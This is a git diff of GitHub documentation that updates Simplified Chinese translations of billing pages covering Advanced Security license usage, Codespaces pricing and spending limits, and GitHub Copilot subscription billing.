![企业帐户设置边栏中的“计费”选项卡](/assets/images/help/business-accounts/settings-billing-tab.png) 在“{% data variables.product.prodname_GH_advanced_security %}”部分中可以查看每个组织的提交者和唯一提交者数量。 + ![企业计费设置中的 {% data variables.product.prodname_GH_advanced_security %}](/assets/images/help/billing/ghas-orgs-list-enterprise-dotcom.png) +5. (可选)单击您是所有者的组织的名称,以显示组织的安全和分析设置。 + ![在企业计费设置的 {% data variables.product.prodname_GH_advanced_security %} 部分中拥有的组织](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png) +6. 在“安全性和分析”设置页面上,滚动到“{% data variables.product.prodname_GH_advanced_security %} 存储库”部分,查看该组织的存储库使用情况的明细。 + ![“{% data variables.product.prodname_GH_advanced_security %} 存储库”部分](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png) 有关详细信息,请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)。” {% elsif ghes %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} - The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. You can see the total number of seats used, as well as a table with the number of committers and unique committers for each organization. - ![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) -5. Optionally, click the name of an organization where you are an owner to display the security and analysis settings for the organization. - ![Owned organization in {% data variables.product.prodname_GH_advanced_security %} section of enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png) -6. On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization. - ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png) - For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %}“{% data variables.product.prodname_GH_advanced_security %}”部分显示当前使用情况的详细信息。 您可以查看已使用的席位总数,以及一份表格,其中包含每个组织的提交者数量和唯一提交者。 + ![企业许可证的 {% data variables.product.prodname_GH_advanced_security %} 部分](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) +5. (可选)单击您是所有者的组织的名称,以显示组织的安全和分析设置。 + ![在企业计费设置的 {% data variables.product.prodname_GH_advanced_security %} 部分中拥有的组织](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png) +6. 在“安全性和分析”设置页面上,滚动到“{% data variables.product.prodname_GH_advanced_security %} 存储库”部分,查看该组织的存储库使用情况的明细。 + ![“{% data variables.product.prodname_GH_advanced_security %} 存储库”部分](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png) 有关详细信息,请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)。” {% endif %} -{% ifversion ghec or ghes > 3.3 %} +{% ifversion ghec or ghes > 3.3 or ghae-issue-5378 %} -## Downloading {% data variables.product.prodname_GH_advanced_security %} license usage information +## 下载 {% data variables.product.prodname_GH_advanced_security %} 许可证使用信息 -You can download a CSV file with {% data variables.product.prodname_GH_advanced_security %} license usage information at both the enterprise and organization levels. The CSV file contains information about each {% data variables.product.prodname_advanced_security %} seat that is in use, including: +您可以在企业和组织级别下载包含 {% data variables.product.prodname_GH_advanced_security %} 许可证使用情况信息的 CSV 文件。 CSV 文件包含有关正在使用的每个 {% data variables.product.prodname_advanced_security %} 席位的信息,包括: -- The username of the person using the seat -- The {% data variables.product.prodname_advanced_security %}-enabled repositories where commits were made -- The organizations that people using seats belong to -- The most recent commit dates +- 使用席位的人的用户名 +- 在其中进行提交的启用了 {% data variables.product.prodname_advanced_security %} 的存储库 +- 使用席位的用户所属的组织 +- 最近的提交日期 -You can use this information for insights into how your {% data variables.product.prodname_advanced_security %} licenses are being used, such as which members of your enterprise are using an {% data variables.product.prodname_advanced_security %} seat or how {% data variables.product.prodname_advanced_security %} licenses are being consumed across your organizations. +您可以使用此信息深入了解 {% data variables.product.prodname_advanced_security %} 许可证的使用方式,例如企业的哪些成员正在使用 {% data variables.product.prodname_advanced_security %} 席位,或者您的组织中如何使用 {% data variables.product.prodname_advanced_security %} 许可证。 -You can download the {% data variables.product.prodname_advanced_security %} license usage CSV through the {% data variables.product.product_name %} user interface or the REST API. +您可以通过 {% data variables.product.product_name %} 用户界面或 REST API 下载 {% data variables.product.prodname_advanced_security %} 许可证使用情况 CSV。 -### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the UI +### 通过 UI 下载 {% data variables.product.prodname_advanced_security %} 许可证使用信息 -#### At the organization-level +#### 在组织级 -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -1. Underneath "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-label="The download icon" %} CSV report** next to "Committers." - ![Download button for organization-level data](/assets/images/help/billing/download-organization-GHAS-usage-data.png) +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} +1. 在“{% data variables.product.prodname_GH_advanced_security %}”下方,单击“Committers(提交者)”旁边的 {% octicon "download" aria-label="The download icon" %}。 + ![组织级数据的下载按钮](/assets/images/help/billing/download-organization-GHAS-usage-data.png) -#### At the enterprise-level +#### 在企业级 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-label="The download icon" %} CSV report** next to "Committers." - ![Download button for enterprise-level data](/assets/images/help/billing/download-enterprise-GHAS-usage-data.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} +1. 在“{% data variables.product.prodname_GH_advanced_security %}”下方,单击“Committers(提交者)”旁边的 {% octicon "download" aria-label="The download icon" %}。 + ![企业级数据的下载按钮](/assets/images/help/billing/download-enterprise-GHAS-usage-data.png) -### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the REST API +### 通过 REST API 下载 {% data variables.product.prodname_advanced_security %} 许可证使用信息 -You can retrieve {% data variables.product.prodname_advanced_security %} usage information via the billing API. +可以通过计费 API 检索 {% data variables.product.prodname_advanced_security %} 使用情况信息。 {% ifversion ghec %} -For organization-level data, use the `/orgs/{org}/settings/billing/advanced-security` endpoint. For more information, see "[Billing](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization)" in the {% data variables.product.prodname_dotcom %} REST API documentation. +对于组织级数据,请使用 `/orgs/{org}/settings/billing/advanced-security` 终结点。 有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} REST API 文档中的“[计费](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization)”。 {% endif %} -For enterprise-level data, use the `/enterprises/{enterprise}/settings/billing/advanced-security` endpoint. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-github-advanced-security-active-committers-for-an-enterprise)" in the {% data variables.product.prodname_dotcom %} REST API documentation. +对于企业级数据,请使用 `/enterprises/{enterprise}/settings/billing/advanced-security` 终结点。 有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} REST API 文档中的“[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#get-github-advanced-security-active-committers-for-an-enterprise)”。 {% endif %} diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md new file mode 100644 index 0000000000..9f91a0409d --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md @@ -0,0 +1,80 @@ +--- +title: 关于代码空间的计费 +shortTitle: About billing +intro: 查看定价并了解如何管理组织的 {% data variables.product.prodname_codespaces %} 计费。 +permissions: To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager. +versions: + fpt: '*' + ghec: '*' +type: overview +product: '{% data reusables.gated-features.codespaces %}' +topics: +- Codespaces +- Billing +ms.openlocfilehash: bb2b22ce9f34122656134076d4d1e5b49b86e3ce +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146381073" +--- +## {% data variables.product.prodname_codespaces %} 定价 + +{% data variables.product.prodname_team %} 和 {% data variables.product.prodname_enterprise %} 上的所有组织和企业帐户均需支付 {% data variables.product.prodname_codespaces %} 使用费,其中不包括任何免费分钟数或存储空间。 个人帐户目前无需支付 {% data variables.product.prodname_codespaces %} 使用费。 + +{% data variables.product.prodname_codespaces %} 使用按下表中的计量单位计费: + +| 产品 | SKU | 度量单位 | 价格 | +| ------------------- | -------- | --------------- | ----- | +| Codespaces 计算 | 2 个内核 | 1 小时 | $0.18 | +| | 4 个内核 | 1 小时 | $0.36 | +| | 8 个内核 | 1 小时 | $0.72 | +| | 16 个内核 | 1 小时 | $1.44 | +| | 32 个内核 | 1 小时 | $2.88 | +| Codespaces 存储 | 存储 | 1 GB-月 | 0\.07 美元 | + +## 关于 {% data variables.product.prodname_codespaces %} 的计费 + +{% data reusables.codespaces.codespaces-billing %} + +你的 {% data variables.product.prodname_codespaces %} 使用费将使用帐户的现有计费日期、付款方式和收据。 {% data reusables.dotcom_billing.view-all-subscriptions %} + +{% ifversion ghec %} 如果你通过微软企业协议购买了 {% data variables.product.prodname_enterprise %},则可以将 Azure 订阅 ID 连接到企业账户,以启用并支付你的 {% data variables.product.prodname_codespaces %} 使用费。 有关详细信息,请参阅“[将 Azure 订阅连接到企业](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)”。 +{% endif %} + +{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_codespaces %} + +### {% data variables.product.prodname_codespaces %} 预构建的计费 + + +{% data reusables.codespaces.billing-for-prebuilds %} + +## 设置支出限制 + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +有关管理和更改帐户支出限制的信息,请参阅“[管理 {% data variables.product.prodname_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)”。 + +{% data reusables.codespaces.exporting-changes %} + +## 限制机器类型的选择 + +默认情况下,创建 codespace 时将使用具有最低有效资源的计算机类型。 但是,用户可能能够选择具有更多资源的计算机类型。 他们可以在创建 codespace 时执行此操作,也可以更改现有 codespace 的计算机类型。 有关详细信息,请参阅“[更改 codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)”和“[更改 codespace 的机器类型”](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)。 + +如果选择了具有更多资源的计算机类型,这将影响该 codespace 的每分钟费用,如上所示。 + +组织所有者可以创建策略来限制用户可用的计算机类型。 有关详细信息,请参阅“[限制对计算机类型的访问](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)”。 + +## 如何处理复刻的存储库的计费 + +{% data variables.product.prodname_codespaces %} 只能在定义了计费所有者的组织中使用。 要对组织收费,用户必须是成员或协作者,否则他们无法创建代码空间。 + +例如,私有组织中的用户可以复刻该组织内的存储库,随后可以使用向组织计费的代码空间;这是因为组织是父存储库的所有者,父存储库可以删除用户的访问权限、复刻的存储库和代码空间。 + +## 传输存储库时如何处理计费 + +使用每小时计费和报告。 因此,当存储库位于您的组织内时,您需要为任何使用付费。 将存储库移出组织时,该存储库中的所有代码空间都将作为传输过程的一部分被删除。 + +## 移除用户后会发生什么情况 + +如果从组织或存储库中移除用户,则会自动删除其代码空间。 diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md new file mode 100644 index 0000000000..cef036e2a0 --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md @@ -0,0 +1,66 @@ +--- +title: 管理 Codespace 的支出限制 +intro: 可以为 {% data variables.product.prodname_codespaces %} 的使用设置支出限制。 +versions: + fpt: '*' + ghec: '*' +type: how_to +product: '{% data reusables.gated-features.codespaces %}' +topics: +- Codespaces +- Enterprise +- Organizations +- Spending limits +- User account +- Billing +shortTitle: Spending limits +ms.openlocfilehash: 340dae657304e5a2c9fb31d3a205e0b45f47a7b5 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145084527" +--- +## 关于 {% data variables.product.prodname_codespaces %} 的支出限制 + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +达到支出限制后,您的组织或存储库将不再能够创建新的代码空间,也无法启动现有代码空间。 任何仍在运行的现有代码空间都不会关闭。如果不更改支出限制,则不会为超出限制的金额向您收费。 + +若要详细了解 {% data variables.product.prodname_codespaces %} 使用情况的定价,请参阅“[关于 {% data variables.product.prodname_codespaces %} 的计费](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)”。 + +{% ifversion ghec %} +## 使用 Azure 订阅 +如果您通过微软企业协议购买 {% data variables.product.prodname_enterprise %} , 您可以将您的 Azure 订阅ID 连接到您的企业账户,以启用并支付您的 {% data variables.product.prodname_codespaces %} 使用费用。 有关详细信息,请参阅“[将 Azure 订阅连接到企业](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)”。 +{% endif %} + +## 管理组织的 {% data variables.product.prodname_codespaces %} 支出限制 + +组织所有者和帐单管理员可管理组织的 {% data variables.product.prodname_codespaces %} 支出限制。 + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit-codespaces %} {% data reusables.dotcom_billing.update-spending-limit %} + +{% ifversion ghec %} +## 管理企业帐户的 {% data variables.product.prodname_codespaces %} 支出限制 + +企业所有者和帐单管理员可管理企业帐户的 {% data variables.product.prodname_codespaces %} 支出限制。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. 在“{% data variables.product.prodname_codespaces %} 每月使用”上方,单击“支出限制”。 + ![“支出限制”选项卡](/assets/images/help/settings/spending-limit-tab-enterprise.png) {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %} {% endif %} + +## 在达到支出限制时导出更改 + +{% data reusables.codespaces.exporting-changes %} +## 管理使用和支出限制电子邮件通知 + +当支出达到帐户支出限制的 50%、75%、90% 和 100% 时,系统会向帐户所有者和帐单管理员发送电子邮件通知。 + +可以通过导航到“支出限制”页面底部随时禁用这些通知。 + +![帐单邮箱通知设置的屏幕截图](/assets/images/help/billing/codespaces-spending-limit-notifications.png) + +## 延伸阅读 + +- “[限制对计算机类型的访问](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)” +- “[管理组织中 Codespaces 的计费](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)” diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md new file mode 100644 index 0000000000..723419f6c6 --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md @@ -0,0 +1,68 @@ +--- +title: 管理 GitHub Codespaces 的支出限制 +intro: 可以为 {% data variables.product.prodname_github_codespaces %} 的使用设置支出限制。 +versions: + fpt: '*' + ghec: '*' +type: how_to +product: '{% data reusables.gated-features.codespaces %}' +topics: +- Codespaces +- Enterprise +- Organizations +- Spending limits +- User account +- Billing +shortTitle: Spending limits +redirect_from: +- /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces +ms.openlocfilehash: 562b4406c06370869b9ae185cedaa803700ad63e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147111498" +--- +## 关于 {% data variables.product.prodname_github_codespaces %} 的支出限制 + +{% data reusables.codespaces.codespaces-spending-limit-requirement %} + +达到支出限制后,您的组织或存储库将不再能够创建新的代码空间,也无法启动现有代码空间。 任何仍在运行的现有代码空间都不会关闭。如果不更改支出限制,则不会为超出限制的金额向您收费。 + +有关 {% data variables.product.prodname_codespaces %} 使用定价的详细信息,请参阅“[关于 {% data variables.product.prodname_github_codespaces %} 的计费](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)”。 + +{% ifversion ghec %} +## 使用 Azure 订阅 +如果您通过微软企业协议购买 {% data variables.product.prodname_enterprise %} , 您可以将您的 Azure 订阅ID 连接到您的企业账户,以启用并支付您的 {% data variables.product.prodname_codespaces %} 使用费用。 有关详细信息,请参阅“[将 Azure 订阅连接到企业](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)”。 +{% endif %} + +## 管理组织的 {% data variables.product.prodname_codespaces %} 支出限制 + +组织所有者和帐单管理员可管理组织的 {% data variables.product.prodname_codespaces %} 支出限制。 + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit-codespaces %} {% data reusables.dotcom_billing.update-spending-limit %} + +{% ifversion ghec %} +## 管理企业帐户的 {% data variables.product.prodname_codespaces %} 支出限制 + +企业所有者和帐单管理员可管理企业帐户的 {% data variables.product.prodname_codespaces %} 支出限制。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. 在“{% data variables.product.prodname_codespaces %} 每月使用”上方,单击“支出限制”。 + ![“支出限制”选项卡](/assets/images/help/settings/spending-limit-tab-enterprise.png) {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %} {% endif %} + +## 在达到支出限制时导出更改 + +{% data reusables.codespaces.exporting-changes %} +## 管理使用和支出限制电子邮件通知 + +当支出达到帐户支出限制的 50%、75%、90% 和 100% 时,系统会向帐户所有者和帐单管理员发送电子邮件通知。 + +可以通过导航到“支出限制”页面底部随时禁用这些通知。 + +![帐单邮箱通知设置的屏幕截图](/assets/images/help/billing/codespaces-spending-limit-notifications.png) + +## 延伸阅读 + +- “[限制对计算机类型的访问](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)” +- “[管理组织中的 {% data variables.product.prodname_github_codespaces %} 计费](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization)” diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md new file mode 100644 index 0000000000..ede77b7866 --- /dev/null +++ b/translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md @@ -0,0 +1,34 @@ +--- +title: 查看 Codespaces 使用情况 +shortTitle: Viewing your usage +intro: 您可以查看 {% data variables.product.prodname_codespaces %} 使用的计算分钟数和存储空间。 +permissions: To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager. +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +type: overview +topics: +- Codespaces +- Billing +ms.openlocfilehash: 025b93aca321b381989a55389ff93fac3cef02c2 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147062032" +--- +## 查看组织的 {% data variables.product.prodname_codespaces %} 使用情况 + +组织所有者和帐单管理员可查看组织的 {% data variables.product.prodname_codespaces %} 使用情况。 对于由企业帐户管理的组织,组织所有者可以在组织计费页面中查看 {% data variables.product.prodname_codespaces %} 使用情况,企业管理员可以查看整个企业的使用情况。 + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.codespaces-minutes %} {% data reusables.dotcom_billing.actions-packages-report-download-org-account %} + +{% ifversion ghec %} +## 查看企业帐户的 {% data variables.product.prodname_codespaces %} 使用情况 + +企业所有者和帐单管理员可查看企业帐户的 {% data variables.product.prodname_codespaces %} 使用情况。 + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. 在“{% data variables.product.prodname_codespaces %}”下,查看企业帐户中每个组织的使用详细信息。 +{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %} diff --git a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md index cbe37c8471..7d5337e1ad 100644 --- a/translations/zh-CN/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md +++ b/translations/zh-CN/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md @@ -1,39 +1,45 @@ --- -title: About billing for GitHub Copilot -intro: 'If you want to use {% data variables.product.prodname_copilot %}, you either need a subscription for {% data variables.product.prodname_copilot_for_individuals %} in your personal account, or you need to be assigned a seat by an organization on {% data variables.product.prodname_ghe_cloud %} with a subscription for {% data variables.product.prodname_copilot_for_business %}.' +title: 关于 GitHub Copilot 的计费 +intro: '如果要使用 {% data variables.product.prodname_copilot %},则需要用个人帐户订阅 {% data variables.product.prodname_copilot_for_individuals %},或者需要由 {% data variables.product.prodname_ghe_cloud %} 上订阅 {% data variables.product.prodname_copilot_for_business %} 的组织分配席位。' product: '{% data reusables.gated-features.copilot-billing %}' versions: feature: copilot topics: - Copilot shortTitle: Billing for GitHub Copilot +ms.openlocfilehash: f82f284ac2bdb8a4bc56587ff17826ae7ca96585 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193217' --- -## About billing for {% data variables.product.prodname_copilot %} +## 关于 {% data variables.product.prodname_copilot %} 的计费 -If you want to use {% data variables.product.prodname_copilot %}, you will need a subscription for your {% data variables.product.prodname_dotcom %} personal account, or if you are a member of a {% data variables.product.prodname_ghe_cloud %} organization with a {% data variables.product.prodname_copilot_business_short %} subscription, you will need to be assigned a seat by an organization admin. For more information about {% data variables.product.prodname_copilot %}, see "[About {% data variables.product.prodname_copilot %}](/en/copilot/overview-of-github-copilot/about-github-copilot)." +如果要使用 {% data variables.product.prodname_copilot %},则需要订阅 {% data variables.product.prodname_dotcom %} 个人帐户,或者如果是具有 {% data variables.product.prodname_copilot_business_short %} 订阅的 {% data variables.product.prodname_ghe_cloud %} 组织的成员,则需要由组织管理员为你分配席位。有关 {% data variables.product.prodname_copilot %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %}](/en/copilot/overview-of-github-copilot/about-github-copilot)”。 -For more information about managing {% data variables.product.prodname_copilot %} through {% data variables.product.prodname_ghe_cloud %}, see "[Enforcing policies for {% data variables.product.prodname_copilot %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise){% ifversion ghec %}.{% endif %}"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} +有关通过 {% data variables.product.prodname_ghe_cloud %} 管理 {% data variables.product.prodname_copilot %} 的详细信息,请参阅“[在企业中强制实施 {% data variables.product.prodname_copilot %} 的策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise){% ifversion ghec %}”{% endif %}。{% ifversion fpt %}({% data variables.product.prodname_ghe_cloud %} 文档){% endif %} -Before starting a paid subscription for a personal account, you can set up a one-time 60-day trial to evaluate {% data variables.product.prodname_copilot %}. To begin a trial, you will need to choose a monthly or yearly billing cycle, and provide a payment method. If you do not cancel the trial before the end of the 60 days, the trial will automatically convert to a paid subscription. You can cancel your {% data variables.product.prodname_copilot %} trial at any time during the 60 days and you won't be charged. If you cancel before the end of the trial, you will continue to have access to {% data variables.product.prodname_copilot %} until the 60-day trial period ends. For more information, see "[Managing your {% data variables.product.prodname_copilot_for_individuals %} subscription](/en/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription)." +在开始付费个人帐户订阅之前,可以设置一次性 60 天试用版来评估 {% data variables.product.prodname_copilot %}。 若要开始试用,需要选择每月或每年计费周期,并提供付款方式。 如果未在 60 天结束前取消试用,则试用版将自动转换为付费订阅。 可以在 60 天内随时取消 {% data variables.product.prodname_copilot %} 试用版,并且不会收费。 如果在试用期结束前取消,将继续有权访问 {% data variables.product.prodname_copilot %},直到 60 天试用期结束。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_copilot_for_individuals %} 订阅](/en/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription)”。 -## Pricing for {% data variables.product.prodname_copilot_for_individuals %} +## {% data variables.product.prodname_copilot_for_individuals %} 定价 -The {% data variables.product.prodname_copilot %} subscription is available on a monthly or yearly cycle. If you choose a monthly billing cycle, you will be billed $10 per calendar month. If you choose a yearly billing cycle, you will be billed $100 per year. You can modify your billing cycle at any time, and the modification will be reflected from the start of your next billing cycle. +{% data variables.product.prodname_copilot %} 订阅按月或按年提供。 如果选择每月计费周期,则每日历月计费 10 美元。 如果选择每年计费周期,则每年计费 100 美元。 可以随时修改计费周期,修改将从下一个计费周期开始反映。 -If you have an active {% data variables.product.prodname_copilot %} subscription, and are then assigned a seat as part of a {% data variables.product.prodname_copilot_for_business %} subscription in {% data variables.product.prodname_ghe_cloud %}, your personal {% data variables.product.prodname_copilot %} subscription will be automatically canceled. You will receive a prorated refund for any remaining portion of your personal subscription's current billing cycle. You will then be able to continue using {% data variables.product.prodname_copilot %} according to the policies set at the enterprise or organization level. +如果具备有效的 {% data variables.product.prodname_copilot %} 订阅,然后分配到 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.product.prodname_copilot_for_business %} 订阅中的席位,则个人 {% data variables.product.prodname_copilot %} 订阅将自动取消。 你将收到个人订阅当前计费周期剩余部分的按比例退款。 然后,可以根据在企业或组织级别设置的策略继续使用 {% data variables.product.prodname_copilot %}。 -A free subscription for {% data variables.product.prodname_copilot %} is available to verified students, teachers, and maintainers of popular open-source repositories on {% data variables.product.company_short %}. If you meet the criteria as an open source maintainer, you will be automatically notified when you visit the {% data variables.product.prodname_copilot %} subscription page. As a student, if you currently receive the {% data variables.product.prodname_student_pack %}, you will also be offered a free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page. For more information about the {% data variables.product.prodname_student_pack %}, see "[Apply to {% data variables.product.prodname_global_campus %} as a student](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)." +{% data variables.product.prodname_copilot %} 的免费订阅可供验证的学生、教师以及 {% data variables.product.company_short %} 上的常用开源存储库的维护人员使用。 如果你满足开放源代码维护者的条件,你将在访问 {% data variables.product.prodname_copilot %} 订阅页时自动收到通知。 作为一名学生,如果你当前收到 {% data variables.product.prodname_student_pack %},当你访问 {% data variables.product.prodname_copilot %} 订阅页时,还将获得免费订阅。 有关 {% data variables.product.prodname_student_pack %} 的详细信息,请参阅“[以学生身份申请加入 {% data variables.product.prodname_global_campus %}](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)”。 {% ifversion ghec %} -## Pricing for {% data variables.product.prodname_copilot_for_business %} +## {% data variables.product.prodname_copilot_for_business %} 定价 -The {% data variables.product.prodname_copilot_for_business %} subscription is available on a monthly cycle, and is billed at $19 per user per month. Billing for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_ghe_cloud %} is processed at the end of each billing cycle. +{% data variables.product.prodname_copilot_for_business %} 订阅按月提供,按每用户每月 19 美元计费。 在 {% data variables.product.prodname_ghe_cloud %} 中 {% data variables.product.prodname_copilot %} 计费在每个计费周期结束时处理。 -Billed users are calculated based on the number of {% data variables.product.prodname_copilot %} seats assigned at the beginning of a billing cycle, or assigned during the billing cycle. Any seat assigned part way through the billing cycle will be prorated based on the number of days remaining in the cycle. Any seat assignment removed during a billing cycle will take effect from the beginning of the next cycle. +计费用户数根据计费周期开始时或计费周期内分配的 {% data variables.product.prodname_copilot %} 席位数计算。 在计费周期中途分配的任何席位将根据周期中剩余的天数按比例分配。 在计费周期中删除的任何席位分配将从下一个周期开始生效。 -Seat assignment for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_ghe_cloud %} is managed by admins of organizations which have been granted access to {% data variables.product.prodname_copilot %} at the enterprise level. If you are a member of multiple organizations under the same enterprise, you can be assigned {% data variables.product.prodname_copilot %} seats in more than one organization, but your enterprise will only be billed once. For more information, see "[Configuring {% data variables.product.prodname_copilot %} settings in your organization](/enterprise-cloud@latest/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization)." +{% data variables.product.prodname_ghe_cloud %} 中 {% data variables.product.prodname_copilot %} 的席位分配由在企业级别被授予 {% data variables.product.prodname_copilot %} 访问权限的组织管理员管理。 